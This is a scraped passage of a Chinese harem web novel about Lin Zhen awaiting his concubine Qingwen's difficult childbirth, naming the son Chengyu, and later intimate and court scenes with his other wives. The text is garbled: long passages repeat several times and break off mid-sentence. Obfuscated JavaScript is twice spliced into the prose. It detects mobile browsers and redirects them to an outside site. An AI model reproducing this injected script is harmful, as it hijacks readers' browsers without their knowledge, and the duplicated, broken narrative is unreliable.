林臻心急如焚地跑过来,声音中带着明显的焦虑:“孙神医,我夫人情况如何?” 孙神医身着一袭灰白色长袍,鹤发童颜,此刻正捻着胡须,面带微笑地看着林臻:“世子放心,夫人身体很强健,不会有问题的。老朽还特意请来八位京城里最有经验的产婆进去照料,定能保夫人和孩子平安。” 孙神医的声音沉稳有力,如同一颗定心丸。 林臻点了点头,有孙神医坐镇,他心里确实踏实了许多。 他转身朝着亭子的方向走去,脚步比刚才慢了一些。 上官婉儿听到脚步声,缓缓睁开眼睛,随即站起身来,朝着林臻盈盈下拜,声音轻柔地说道:“夫君。” 林臻连忙上前,伸手扶住她,将她轻轻按回座位上,关切地问道:“快坐下歇着。浣碧呢?怎么没见她?” 上官婉儿理了理耳边的发丝,轻声回答道:“她在里面帮忙呢,浣碧做事细心,有她在,妾身也能放心些。” 林臻伸手扶住她,指尖触到她微凉的手腕,不禁皱眉,“婉儿,你的手怎么又这般凉?可是受了风?” 不应该啊,按理说林臻这段时间几乎是每天交粮,婉儿的身体应该越来越好才对。 说着便要解下外袍披在她身上。 上官婉儿忙按住他的手,浅笑道:“夫君莫要忧心,不过是方才在院中站得久了些。” 她侧身将绣着缠枝莲的软垫挪到林臻臀下,“倒是晴雯妹妹,昨夜我去瞧她时,见她疼得整夜未合眼,肚皮像是要炸开似的。” 林臻闻言神色一紧,目光不自觉地瞥向产房方向。 上官婉儿见状,轻轻握住他的手,用拇指摩挲着他手背上凸起的青筋:“夫君放心,妹妹被你照顾这么久,身子骨结实着呢,又有孙神 医和八位产婆,定能平安。只是不知道这次妹妹会生个小子还是丫头。” 凉亭外,桃花瓣打着旋儿落在石桌上的茶盏里。 林臻端起茶盏,看着漂浮的花瓣,想起晴雯怀孕前那笑靥如花的脸,笑道:“呵呵呵,是儿是女都好,反正我就打算让她生这一个。她那么爱美,对胖胖的自己都讨厌**。” “呵呵呵,知道夫君疼人,不过妾身可是要多生几个的,我们家子嗣太少,产业又那么多,等日后秦国也归于大乾,这地方就更大了,当然要多生几个孩子才能继承啊。” 上官婉儿低头轻笑,随即从袖中取出一方绣着百子千孙图的襁褓:“这是妾身连夜赶制的,针脚虽不算细密,倒也讨个吉利。” 她展开襁褓,月光般柔软的绸缎上,金线绣成的孩童或骑竹马,或放纸鸢,栩栩如生。 “只是不知是男孩还是女孩,若生个女娃娃,妾身房里那套东珠头面,倒是配得紧。” 林臻伸手轻轻抚过绣图,想起上官婉儿这些日子为筹备生产事宜忙前忙后,连传统的晨昏定省都顾不上,心中满是感动。 “这些日子辛苦你了,里里外外全靠你操持。等晴雯出了月子,定要好好补偿你。” 上官婉儿的耳垂瞬间染上一抹绯红,她低头绞着帕子,声音如蚊蝇般细小:“夫君这是说的哪里话,打理王府本就是妾身的分内之事。况且.” 她偷偷抬眼看了林臻一眼,又迅速低下头,“能看着咱们的家越来越热闹,便是再辛苦些,妾身也是欢喜的。” 话音刚落,产房内突然传来一声凄厉的哭喊。 那声音撕心裂肺,充满了无助和挣扎。 “啊!!!” 林臻猛地站起身,茶盏中的茶水泼洒在石桌上,晕开一片深色的痕迹。 上官婉儿也急忙起身,紧紧抓住他的衣袖:“夫君莫急,这是要生了,是好兆头。” 她嘴上虽这般说,声音却也止不住地发颤,指尖深深掐进林臻的肉里。 两人就这样紧紧盯着产房的方向,谁也不说话,唯有桃花落在他们肩头,又悄然滑落。 “夫人使劲啊!!” “夫人,您别气馁,使劲啊!” “快拿热水来!!” 林臻的心瞬间揪到了一起,原本还算沉稳的他,此刻再也坐不住了。 他“腾”地一下站起身来,在产房外来回踱步,脚步急促而凌乱。 每走几步,他就会朝着产房的方向张望,眼神中满是担忧和牵挂。 时间一分一秒地过去。 每一秒对于林臻来说都无比漫长。 就在他焦急万分的时候,一阵急匆匆的脚步声传来。 只见张俪提着紫色裙摆,气喘吁吁地跑了进来,发髻上的珠翠随着她的动作叮当作响。 她脸上带着明显的焦急和关切,一见到林臻,便赶忙问道:“夫君,可派人通知宫里了?” 林臻点了点头,声音有些沙哑:“已经告诉嫣儿和椿儿了。” 张俪又追问:“里面情况如何?” 林臻叹了口气,眉头紧紧皱起:“晴雯已经喊了一个时辰了,还没有动静呢.唉.” 这时,月妩也跑了进来,身后跟着老宗主。 “夫君,妾身把老宗主带来了。” 林臻感激地看了眼老宗主,对她点点头。 老宗主说道:“世子安心,有老身在,晴雯不会有任何事情的。” 孙神医的几个徒弟听到这句话都是偷偷撇嘴。 心说你又不是大夫,在这装什么呢? “啊!!!” 晴雯的声音越来越大,林臻的心越来越急躁。 谁知就在此时,月妩突然一头歪了下去。 林臻眼疾手快,赶紧将她扶住。 “妩儿,妩儿!” “孙神仙,您快来看看!” 孙之推连忙走过来,单手掐住月妩的手腕,一分钟后,他笑道:“呵呵呵,恭喜世子,月妩夫人也有喜了。” “真的!?”张俪平时和月妩最好,此刻听到她有身孕十分开心。 林臻却反问道:“那妩儿怎么会晕倒呢?” “月妩夫人体弱,又常年劳累,而且看脉象月妩夫人应该已经有三个月的身孕了。” “三个月”林臻看着怀里的月妩,心疼的道:“傻瓜,你怎么不早说呢。” 林臻将月妩抱起来,去往她的别院,嘱咐丫鬟小厮好生照看。 同时孙之推这边给月妩开了安胎宁神的药,派人去煎。 林臻回到产房的时候,晴雯还在大喊。 孙之推掐着手指头念叨:“奇怪,这早已经超过生产的时间了啊。” 老宗主说:“老身进去看看。” 孙之推将她拦住:“老宗主留步,现在情况不明,你冒然进去只会破坏产房的空气,还是再等一等吧。” 林臻急得直皱眉头,脸色阴沉的可怕。 就在此时,一位产婆满手是血地跑了出来:“不得了!不得了了 !夫人难产啊!!” “什么!?”林臻一个箭步就窜了上去,抓住产婆的衣领怒声咆哮:“我告诉你,要是晴雯和我的孩子出现一点点意外,我他妈让你们所有人都去陪葬!!” 他几乎已经快失去理智了。 可谁知,一声清脆的婴儿啼哭划破了紧张的空气,在整个院子里回荡。 “哇哇哇哇!!” 这突如其来的声音,让在场的所有人都为之一振。 林臻先是一愣,随即眼中闪过惊喜的光芒。 他松开产婆,当即双手合十,仰望着苍天,声音中带着难以掩饰的激动和感激:“感谢老天保佑!感谢老天保佑!” 说着说着,他的眼眶不禁微微泛红。 上官婉儿和张俪也都露出了欣慰的笑容,上官婉儿双手轻抚胸口,低声说道:“这下可算放心了。” 张俪则快步走到林臻身边,轻轻挽住他的胳膊:“恭喜夫君儿!” 此时,另有产婆怀抱着一个襁褓走了出来,脸上洋溢着喜悦的笑容:“恭喜世子!恭喜各位夫人!是个小公子,母子平安!” 林臻迫不及待地走上前去,眼神中满是慈爱和欣喜。 他小心翼翼地接过孩子,看着怀中那皱巴巴却又无比可爱的小脸,心中涌起一股前所未有的柔情。 孩子的小手紧紧地握着,小嘴巴时不时地动一下,发出细微的声音。 “快让妾身看看!”上官婉儿和张俪也围了过来,脸上满是好奇和喜爱。 上官婉儿伸出手,轻轻地摸了摸孩子的小脸,感慨道:“真是个可爱的小家伙,眉眼间倒是像极了晴雯。” 张俪也笑着说:“以后咱们王府可就更热闹了。” 林臻看着怀中的孩子,又望了望产房的方向,心中满是对晴雯的心疼和感激。 他转身对产婆说道:“快带我去看看晴雯。” “哎!”产婆应了一声,在前引路。 走进产房,屋内弥漫着淡淡的血腥味,但已经被熏香掩盖了不少。 晴雯躺在床上,脸色苍白如纸,却挂着幸福的笑容。 她的头发有些凌乱地散落在枕头上,眼神中透着疲惫却又充满了母爱。 “雯儿,辛苦你了。”林臻走到床边,坐在她身旁,伸手轻轻握住她的手,声音温柔而又充满爱意。 晴雯微微摇了摇头,虚弱地说道:“孩子呢,妾身要看看孩子。” 她的目光落在林臻怀中的孩子身上。 本来满是柔情的脸,突然就皱在一起,嫌弃地道:“他好丑啊!!” !夫人难产啊!!” “什么!?”林臻一个箭步就窜了上去,抓住产婆的衣领怒声咆哮:“我告诉你,要是晴雯和我的孩子出现一点点意外,我他妈让你们所有人都去陪葬!!” 他几乎已经快失去理智了。 可谁知,一声清脆的婴儿啼哭划破了紧张的空气,在整个院子里回荡。 “哇哇哇哇!!” 这突如其来的声音,让在场的所有人都为之一振。 林臻先是一愣,随即眼中闪过惊喜的光芒。 他松开产婆,当即双手合十,仰望着苍天,声音中带着难以掩饰的激动和感激:“感谢老天保佑!感谢老天保佑!” 说着说着,他的眼眶不禁微微泛红。 上官婉儿和张俪也都露出了欣慰的笑容,上官婉儿双手轻抚胸口,低声说道:“这下可算放心了。” 张俪则快步走到林臻身边,轻轻挽住他的胳膊:“恭喜夫君儿!” 此时,另有产婆怀抱着一个襁褓走了出来,脸上洋溢着喜悦的笑容:“恭喜世子!恭喜各位夫人!是个小公子,母子平安!” 林臻迫不及待地走上前去,眼神中满是慈爱和欣喜。 他小心翼翼地接过孩子,看着怀中那皱巴巴却又无比可爱的小脸,心中涌起一股前所未有的柔情。 孩子的小手紧紧地握着,小嘴巴时不时地动一下,发出细微的声音。 “快让妾身看看!”上官婉儿和张俪也围了过来,脸上满是好奇和喜爱。 上官婉儿伸出手,轻轻地摸了摸孩子的小脸,感慨道:“真是个可爱的小家伙,眉眼间倒是像极了晴雯。” 张俪也笑着说:“以后咱们王府可就更热闹了。” 林臻看着怀中的孩子,又望了望产房的方向,心中满是对晴雯的心疼和感激。 他转身对产婆说道:“快带我去看看晴雯。” “哎!”产婆应了一声,在前引路。 走进产房,屋内弥漫着淡淡的血腥味,但已经被熏香掩盖了不少。 晴雯躺在床上,脸色苍白如纸,却挂着幸福的笑容。 她的头发有些凌乱地散落在枕头上,眼神中透着疲惫却又充满了母爱。 “雯儿,辛苦你了。”林臻走到床边,坐在她身旁,伸手轻轻握住她的手,声音温柔而又充满爱意。 晴雯微微摇了摇头,虚弱地说道:“孩子呢,妾身要看看孩子。” 她的目光落在林臻怀中的孩子身上。 本来满是柔情的脸,突然就皱在一起,嫌弃地道:“他好丑啊!!” !夫人难产啊!!” “什么!?”林臻一个箭步就窜了上去,抓住产婆的衣领怒声咆哮:“我告诉你,要是晴雯和我的孩子出现一点点意外,我他妈让你们所有人都去陪葬!!” 他几乎已经快失去理智了。 可谁知,一声清脆的婴儿啼哭划破了紧张的空气,在整个院子里回荡。 “哇哇哇哇!!” 这突如其来的声音,让在场的所有人都为之一振。 林臻先是一愣,随即眼中闪过惊喜的光芒。 他松开产婆,当即双手合十,仰望着苍天,声音中带着难以掩饰的激动和感激:“感谢老天保佑!感谢老天保佑!” 说着说着,他的眼眶不禁微微泛红。 上官婉儿和张俪也都露出了欣慰的笑容,上官婉儿双手轻抚胸口,低声说道:“这下可算放心了。” 张俪则快步走到林臻身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564118|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,轻轻挽住他的胳膊:“恭喜夫君儿!” 此时,另有产婆怀抱着一个襁褓走了出来,脸上洋溢着喜悦的笑容:“恭喜世子!恭喜各位夫人!是个小公子,母子平安!” 林臻迫不及待地走上前去,眼神中满是慈爱和欣喜。 他小心翼翼地接过孩子,看着怀中那皱巴巴却又无比可爱的小脸,心中涌起一股前所未有的柔情。 孩子的小手紧紧地握着,小嘴巴时不时地动一下,发出细微的声音。 “快让妾身看看!”上官婉儿和张俪也围了过来,脸上满是好奇和喜爱。 上官婉儿伸出手,轻轻地摸了摸孩子的小脸,感慨道:“真是个可爱的小家伙,眉眼间倒是像极了晴雯。” 张俪也笑着说:“以后咱们王府可就更热闹了。” 林臻看着怀中的孩子,又望了望产房的方向,心中满是对晴雯的心疼和感激。 他转身对产婆说道:“快带我去看看晴雯。” “哎!”产婆应了一声,在前引路。 走进产房,屋内弥漫着淡淡的血腥味,但已经被熏香掩盖了不少。 晴雯躺在床上,脸色苍白如纸,却挂着幸福的笑容。 她的头发有些凌乱地散落在枕头上,眼神中透着疲惫却又充满了母爱。 “雯儿,辛苦你了。”林臻走到床边,坐在她身旁,伸手轻轻握住她的手,声音温柔而又充满爱意。 晴雯微微摇了摇头,虚弱地说道:“孩子呢,妾身要看看孩子。” 她的目光落在林臻怀中的孩子身上。 本来满是柔情的脸,突然就皱在一起,嫌弃地道:“他好丑啊!!” !夫人难产啊!!” “什么!?”林臻一个箭步就窜了上去,抓住产婆的衣领怒声咆哮:“我告诉你,要是晴雯和我的孩子出现一点点意外,我他妈让你们所有人都去陪葬!!” 他几乎已经快失去理智了。 可谁知,一声清脆的婴儿啼哭划破了紧张的空气,在整个院子里回荡。 “哇哇哇哇!!” 这突如其来的声音,让在场的所有人都为之一振。 林臻先是一愣,随即眼中闪过惊喜的光芒。 他松开产婆,当即双手合十,仰望着苍天,声音中带着难以掩饰的激动和感激:“感谢老天保佑!感谢老天保佑!” 说着说着,他的眼眶不禁微微泛红。 上官婉儿和张俪也都露出了欣慰的笑容,上官婉儿双手轻抚胸口,低声说道:“这下可算放心了。” 张俪则快步走到林臻身边,轻轻挽住他的胳膊:“恭喜夫君儿!” 此时,另有产婆怀抱着一个襁褓走了出来,脸上洋溢着喜悦的笑容:“恭喜世子!恭喜各位夫人!是个小公子,母子平安!” 林臻迫不及待地走上前去,眼神中满是慈爱和欣喜。 他小心翼翼地接过孩子,看着怀中那皱巴巴却又无比可爱的小脸,心中涌起一股前所未有的柔情。 孩子的小手紧紧地握着,小嘴巴时不时地动一下,发出细微的声音。 “快让妾身看看!”上官婉儿和张俪也围了过来,脸上满是好奇和喜爱。 上官婉儿伸出手,轻轻地摸了摸孩子的小脸,感慨道:“真是个可爱的小家伙,眉眼间倒是像极了晴雯。” 张俪也笑着说:“以后咱们王府可就更热闹了。” 林臻看着怀中的孩子,又望了望产房的方向,心中满是对晴雯的心疼和感激。 他转身对产婆说道:“快带我去看看晴雯。” “哎!”产婆应了一声,在前引路。 走进产房,屋内弥漫着淡淡的血腥味,但已经被熏香掩盖了不少。 晴雯躺在床上,脸色苍白如纸,却挂着幸福的笑容。 她的头发有些凌乱地散落在枕头上,眼神中透着疲惫却又充满了母爱。 “雯儿,辛苦你了。”林臻走到床边,坐在她身旁,伸手轻轻握住她的手,声音温柔而又充满爱意。 晴雯微微摇了摇头,虚弱地说道:“孩子呢,妾身要看看孩子。” 她的目光落在林臻怀中的孩子身上。 本来满是柔情的脸,突然就皱在一起,嫌弃地道:“他好丑啊!!” !夫人难产啊!!” “什么!?”林臻一个箭步就窜了上去,抓住产婆的衣领怒声咆哮:“我告诉你,要是晴雯和我的孩子出现一点点意外,我他妈让你们所有人都去陪葬!!” 他几乎已经快失去理智了。 可谁知,一声清脆的婴儿啼哭划破了紧张的空气,在整个院子里回荡。 “哇哇哇哇!!” 这突如其来的声音,让在场的所有人都为之一振。 林臻先是一愣,随即眼中闪过惊喜的光芒。 他松开产婆,当即双手合十,仰望着苍天,声音中带着难以掩饰的激动和感激:“感谢老天保佑!感谢老天保佑!” 说着说着,他的眼眶不禁微微泛红。 上官婉儿和张俪也都露出了欣慰的笑容,上官婉儿双手轻抚胸口,低声说道:“这下可算放心了。” 张俪则快步走到林臻身边,轻轻挽住他的胳膊:“恭喜夫君儿!” 此时,另有产婆怀抱着一个襁褓走了出来,脸上洋溢着喜悦的笑容:“恭喜世子!恭喜各位夫人!是个小公子,母子平安!” 林臻迫不及待地走上前去,眼神中满是慈爱和欣喜。 他小心翼翼地接过孩子,看着怀中那皱巴巴却又无比可爱的小脸,心中涌起一股前所未有的柔情。 孩子的小手紧紧地握着,小嘴巴时不时地动一下,发出细微的声音。 “快让妾身看看!”上官婉儿和张俪也围了过来,脸上满是好奇和喜爱。 上官婉儿伸出手,轻轻地摸了摸孩子的小脸,感慨道:“真是个可爱的小家伙,眉眼间倒是像极了晴雯。” 张俪也笑着说:“以后咱们王府可就更热闹了。” 林臻看着怀中的孩子,又望了望产房的方向,心中满是对晴雯的心疼和感激。 他转身对产婆说道:“快带我去看看晴雯。” “哎!”产婆应了一声,在前引路。 走进产房,屋内弥漫着淡淡的血腥味,但已经被熏香掩盖了不少。 晴雯躺在床上,脸色苍白如纸,却挂着幸福的笑容。 她的头发有些凌乱地散落在枕头上,眼神中透着疲惫却又充满了母爱。 “雯儿,辛苦你了。”林臻走到床边,坐在她身旁,伸手轻轻握住她的手,声音温柔而又充满爱意。 晴雯微微摇了摇头,虚弱地说道:“孩子呢,妾身要看看孩子。” 她的目光落在林臻怀中的孩子身上。 本来满是柔情的脸,突然就皱在一起,嫌弃地道:“他好丑啊!!” 第488章 承煜 产房内弥漫着淡淡的艾草香,雕花拔步床上的晴雯面色苍白如纸,却难掩眼底的柔波。 林臻小心翼翼地抱着襁褓,膝头挨着床沿半蹲着,生怕动作稍大惊醒了怀中的小生命。 襁褓里的婴儿皱巴巴的小脸正努力挤着眼睛,粉嘟嘟的嘴唇无意识地嚅动,看得他心头软成一汪春水。 “刚出生的孩子都这样。林臻指尖轻轻划过婴儿紧闭的眼睫,忽然抬头望向晴雯,唇角扬起宠溺的笑。 “你瞧,这眉骨多挺,眼睛虽没睁开,却像极了你笑起来时的弯月弧度。等长开了,必定是个让京城贵女们追着跑的美男子。“ 晴雯半靠在鹅黄缎面软枕上,听见这话,虚弱的面上泛起一丝赧色:“夫君又哄我。 她努力支起身子,目光却舍不得从孩子身上移开半分,“哪里像我,倒像个刚出笼的蒸饺。 林臻见状,忙用锦被将她肩头又裹紧些,指尖触到她腕间红绳——那是他今晨亲手系的平安结,绳尾还坠着粒极小的玉铃铛:“别贪看,产婆说要静养。 晴雯被逗得轻笑,却牵扯到伤口,忍不住皱了皱眉。 林臻慌忙伸手替她拢紧绣着并蒂莲的锦被,指尖触到她冰凉的手腕,心头又是一紧。 就在这时,婴儿突然发出“咿呀一声,粉嫩的小拳头恰好挥在晴雯手背上。 “他这是在跟你打招呼呢。瞧这劲头,长大定是个舞刀弄枪的好手。林臻笑着将孩子往晴雯怀里送了送,襁褓蹭过她月白中衣,惹得她耳尖发烫。 初为人母的晴雯浑身僵硬,却又小心翼翼地收拢手臂,生怕力气稍大伤了孩子。 婴儿柔软的小身子贴着她心口,让她眼眶突然发热:“夫君,你说他日后会喜欢骑马吗? “自然喜欢。“林臻伸手替她捋顺凌乱的发丝,“等他满周岁,我便让人打一副小弓箭,亲自教他射箭。若嫌马镫太高,便让他先骑府里那匹温顺的小马驹。 两人鼻尖几乎相抵,共同望着孩子无意识抿动的小嘴,烛火在睫毛投下的阴影轻轻颤动,将这一刻的温柔都酿成了蜜。 林臻忽然顿住,目光落在孩子蠕动的小嘴上,“不过眼下最要紧的,是给咱们的宝贝儿子取个好名字。 晴雯仰头望着他,眸中倒映着烛火的暖光:“妾身不懂这些,全凭夫君做主便是。 她指尖轻轻摩挲着孩子泛红的小脸,忽然想起什么,“不如.等青霞姐姐和宁妃姐姐的孩子出生,咱们 再一起商量?上次在宫中宴饮,她说想给孩子取带“禾”字旁的名字,说是寓意五谷丰登。” 林臻刚要开口,雕花木门忽然“吱呀”一声推开。 张俪身着紫色缠枝莲纹长裙,裙摆上的金丝绣线在烛光下泛着微光,尚未进门便笑着嚷道:“好哇,我们在外面急得团团转,你们倒在这里说体己话!” 她身后跟着月妩,青衫素裙外披着雪白狐裘,怀中抱着个朱漆食盒。 上官婉儿最后进门,淡粉色罗裙下摆绣着的百子图在走动间若隐若现。 她手中捧着个锦盒,刚踏进门便见晴雯挣扎着要起身行礼,忙快步上前按住她:“妹妹快躺下,刚分娩完,可别闪了腰。” 她指尖触到晴雯冰凉的额头,转头对身后丫鬟吩咐:“去把暖炉再添些碳,再炖碗参汤送来。” “瞧瞧这小模样,可真是俊俏呢。”张俪凑到床前,指尖轻轻戳了戳婴儿的小脸,惹得孩子皱起眉头,“将来定是个小祸害,不知要迷倒多少闺阁小姐。” 张俪打开食盒,里面是刚蒸好的山药糕,甜香混着艾草味在室内弥漫:“我让厨房做了些清淡的点心,妹妹趁热吃些,也好补补身子。” 晴雯看着张俪那满脸心疼的样子,内心一时间很不舒服。 记得去年张俪进府时,自己还处处与她作对,挖苦。 如今自己却在这温柔乡中,被这般细致地呵护着。 她喉头一哽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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桃花纷飞的庭院里,林臻与妻妾们并肩而行。月光为众人的身影镀上银边,远处承煜的房间透出点点暖光,仿佛在无声诉说着新生的喜悦。 林臻望着那抹光亮,率先打破沉默:“等承煜长大,就让他经商去吧。如今大乾商贸旺盛,早就不存在什么士农工商的阶级了。” 上官婉儿闻言,秀眉微蹙,停下脚步。 她身着的洁白罗裙随着动作轻轻摆动,发间的珍珠步摇也跟着晃动起来:“夫君,经商虽好,可朝堂才是施展抱负的地方。若承煜入朝为官,既能光耀门楣,又能在朝堂上帮扶陛下,岂不是更好?” 林臻摇了摇头,伸手将上官婉儿鬓边飘落的桃花簪正,指尖不经意擦过她温热的耳垂。 “下一任皇帝必定是嫣儿的孩子。无论我们如何悉心教导承煜,他作为兄长,在朝堂中都难免会引起猜忌。最是无情帝王家。伴君如伴虎,哪怕是至亲,也难避嫌隙。倒不如让他做个自在快活的商人,远离朝堂纷争。” 他顿了顿,嘴角勾起一抹笑意,“若他有兴趣,搞研究、搞发明,成为一代宗师也未尝不可。只要不当官,做什么我都支持。我想,这也是晴雯的心愿,她只盼孩子能平安顺遂,不受束缚。” 上官婉儿的睫毛轻轻颤动,被他温热的掌心包裹的耳垂渐渐发烫。 她仰头望着林臻,月光在他棱角分明的下颌投下阴影:“可我担心他从商也会卷入商贾争斗……” 话音未落,张俪表情很不自然地走开了。 林臻俯身将上官婉儿圈在回廊立柱旁,玄色衣袍的下摆扫过她的小腿:“您有没有发现,俪儿今天很懂事啊!” “估计她是想让妾身乖乖吃药吧。” “但是你刚才说的话我不同意啊。还商贾纷争有我在,谁敢动他?”林臻的气息喷洒在上官婉儿泛红的脸颊,指尖顺着她纤细的脖颈滑进衣领,“倒是你,总爱操心。” “唔……夫君!别,别在外面……”上官婉儿的**被吻碎在唇间。 林臻的手掌贴着她后背缓缓下移,隔着丝绸衣料揉捻她柔软的腰肢,将她彻底困在怀中。 远处传来巡夜更夫的梆子声,惊得她慌忙推开他,鬓发散乱间,眼神却比平日多了三分媚意:“回房再说嘛……” “哦?你今天想怎么吃药啊?是上面,还是下面?还是我上你下?” “去!没个正经~” 上官婉儿身子一扭便跳开。 两人回到卧房,鎏金香炉中龙涎香袅袅升腾。 上官婉儿刚要去解披风,林臻从身后环住她,牙齿轻轻咬住她耳垂:“今晚要好好‘惩罚’你,嗯?” 不等她回应,滚烫的吻已沿着她白皙的脖颈一路向下,修长的手指灵巧地解开她罗裙的系带。 淡粉色丝绸滑落在地,她转身时带起一阵香风,被林臻一把抱起扔向床榻,绣着并蒂莲的锦被扬起又落下,将两人一同裹入旖旎春色中。 床榻上,林臻的手掌抚过上官婉儿细腻的肌肤,在月光下勾勒出暧昧的轮廓。 “还记得我们初见时吗?”林臻突然开口,声音低沉而沙哑,带着一丝不易察觉的柔情。 他的指尖划过她的眉眼,仿佛在描绘着记忆中的模样,“你大半夜的见我,还带着斗笠,最后被我一把扯开!” 上官婉儿的脸颊泛起红晕,伸手轻轻捶打他的胸膛:“都什么时候了,还说这些。” 话虽如此,眼中却满是欣喜与羞涩。 林臻握住她的手,放在唇边轻吻:“我就是想让你知道,虽然我们在那之前从没见过,但我却对你一直心驰神往。”他的目光深情而专注,让上官婉儿几乎要沉溺其中。 两人在温柔的情话与亲密的互动中,忘却了时间的流逝。直到窗外的月光渐渐西斜,上官婉儿累得瘫软在林臻怀中,娇嗔道:“都怪你,明日怕是起不来了。” 林臻将她搂得更紧,在她发顶落下一吻:“日不日的再说,睡吧。” 次日清晨,阳光透过窗棂洒进房间,林臻枕着手臂望着怀中沉睡的上官婉儿。 她乌发如瀑铺在枕上,昨夜欢爱留下的红痕在雪白肌肤上格外醒目。 他俯身轻吻她微张的唇,换来一声慵懒的嘤咛。 “嘤咛~” “该起了。”他贴着她耳畔低语,手掌不安分地探向腰间,却被她困倦地拍开。 “夫君~别闹了,你还要进宫呢……” 两人起身洗漱,上官婉儿精心梳妆打扮,淡粉色的胭脂为她增添了几分艳丽。 林臻站在一旁,目光始终未曾离开过她,眼中满是欣赏与爱意。 因为林震仙不在,所以林臻每天都要来上朝。 社稷无小事,尤其是这样的泱泱大国,每天需要处理的事件数不胜数。 慕容嫣的凤案上的奏折每天都垒得和小山一样高,她却乐此不疲地一本一本批阅。 早朝从早上持续到上午,一连三个小时才结束。 林臻饿的前胸贴后背。 他跟着慕容嫣来到宫中偏殿 ,就见司马椿蕾正用银匙舀着燕窝粥,雪琪跪坐在旁替她整理袖口。 进了门,慕容嫣脱掉外袍,露出的短款凤袍以金线绣着展翅欲飞的凤凰,及膝的下摆露出裹着白色鲛绡的小腿,珍珠缀成的流苏随着动作在脚踝轻晃。 “夫君,快坐。”她抬眼看到林臻,嘴角勾起一抹笑意,示意宫女添碗筷。 林臻在她们对面坐下,目光在慕容嫣身上打转:“你的凤袍怎么这么短?” 话音未落,司马椿蕾已夹起一碟水晶肴肉放进他碗里:“陛下说开春了穿着轻便,前日还特意让尚衣局改制了五套呢。” 慕容嫣用帕子擦了擦嘴角,凤目含嗔:“就你话多。” “我觉得这样蛮好的。”林臻突然伸手握住慕容嫣放在桌案上的手,拇指摩挲着她掌心的纹路。 慕容嫣想要抽回,却被他握得更紧,顺势将她整个人拉向自己。 短款凤袍的裙摆扬起,白皙的大腿瞬间展露。 “放开!”慕容嫣又羞又恼,用另一只手狠狠捶打他胸膛,发间的东珠流苏跟着晃动。 司马椿蕾在一旁捂嘴偷笑,眼波流转:“陛下,您就别和夫君置气了。” 她转头看向林臻,撒娇道:“夫君,臣妾想回府看看孩子嘛~从他出生到现在,我还没好好抱抱他呢。” 说着,轻轻拽住他的衣袖摇晃。 慕容嫣翻了个白眼,从林臻手中抽回手,重新坐直身子:“就你最欠儿!想去就去,还问什么?” 嘴上虽嫌弃,却亲自将一碟玫瑰酥塞进司马椿蕾手中:“路上吃。” 林臻见慕容嫣不再生气,这才开口:“别闹了,这次来是想告诉你们,孩子取名叫承煜。林承煜。” “太老气了!”慕容嫣立刻反驳,“叫林如意多好,一听就讨喜。” 她边说边伸手去抢林臻碗里的虾仁,却被他先一步吃掉。 “你!”她气得直跺脚,短靴上的玉铃铛叮当作响。 司马椿蕾拉着两人的手:“名字的事慢慢商量嘛。” 她凑近林臻,身上的玉兰香混着玫瑰酥的甜腻扑来,“夫君,我们现在就回府好不好?我想看看承煜。” 说着,还眨了眨水汪汪的大眼睛。 林臻被她逗笑,伸手捏了捏她的脸颊:“好好好,都听你的。” 林臻起身,把几块点心塞进嘴里,起身向慕容嫣告辞,却被一把拽住衣角。 慕容嫣别过脸,耳尖泛红:“今晚来朕宫里用膳,御膳房新做了蟹黄汤包。” 说罢,不等他回应,大快朵颐起来。 林臻与司马椿蕾离开皇宫,坐上装饰精美的马车。 司马椿蕾刚上车就迫不及待地扑进他怀里。 “夫君,臣妾好想您呢~”她仰起脸,红唇几乎要贴上他的,“让臣妾香香一下好不好~” 不等林臻反应,她那柔软的唇已覆了上来。 ,就见司马椿蕾正用银匙舀着燕窝粥,雪琪跪坐在旁替她整理袖口。 进了门,慕容嫣脱掉外袍,露出的短款凤袍以金线绣着展翅欲飞的凤凰,及膝的下摆露出裹着白色鲛绡的小腿,珍珠缀成的流苏随着动作在脚踝轻晃。 “夫君,快坐。”她抬眼看到林臻,嘴角勾起一抹笑意,示意宫女添碗筷。 林臻在她们对面坐下,目光在慕容嫣身上打转:“你的凤袍怎么这么短?” 话音未落,司马椿蕾已夹起一碟水晶肴肉放进他碗里:“陛下说开春了穿着轻便,前日还特意让尚衣局改制了五套呢。” 慕容嫣用帕子擦了擦嘴角,凤目含嗔:“就你话多。” “我觉得这样蛮好的。”林臻突然伸手握住慕容嫣放在桌案上的手,拇指摩挲着她掌心的纹路。 慕容嫣想要抽回,却被他握得更紧,顺势将她整个人拉向自己。 短款凤袍的裙摆扬起,白皙的大腿瞬间展露。 “放开!”慕容嫣又羞又恼,用另一只手狠狠捶打他胸膛,发间的东珠流苏跟着晃动。 司马椿蕾在一旁捂嘴偷笑,眼波流转:“陛下,您就别和夫君置气了。” 她转头看向林臻,撒娇道:“夫君,臣妾想回府看看孩子嘛~从他出生到现在,我还没好好抱抱他呢。” 说着,轻轻拽住他的衣袖摇晃。 慕容嫣翻了个白眼,从林臻手中抽回手,重新坐直身子:“就你最欠儿!想去就去,还问什么?” 嘴上虽嫌弃,却亲自将一碟玫瑰酥塞进司马椿蕾手中:“路上吃。” 林臻见慕容嫣不再生气,这才开口:“别闹了,这次来是想告诉你们,孩子取名叫承煜。林承煜。” “太老气了!”慕容嫣立刻反驳,“叫林如意多好,一听就讨喜。” 她边说边伸手去抢林臻碗里的虾仁,却被他先一步吃掉。 “你!”她气得直跺脚,短靴上的玉铃铛叮当作响。 司马椿蕾拉着两人的手:“名字的事慢慢商量嘛。” 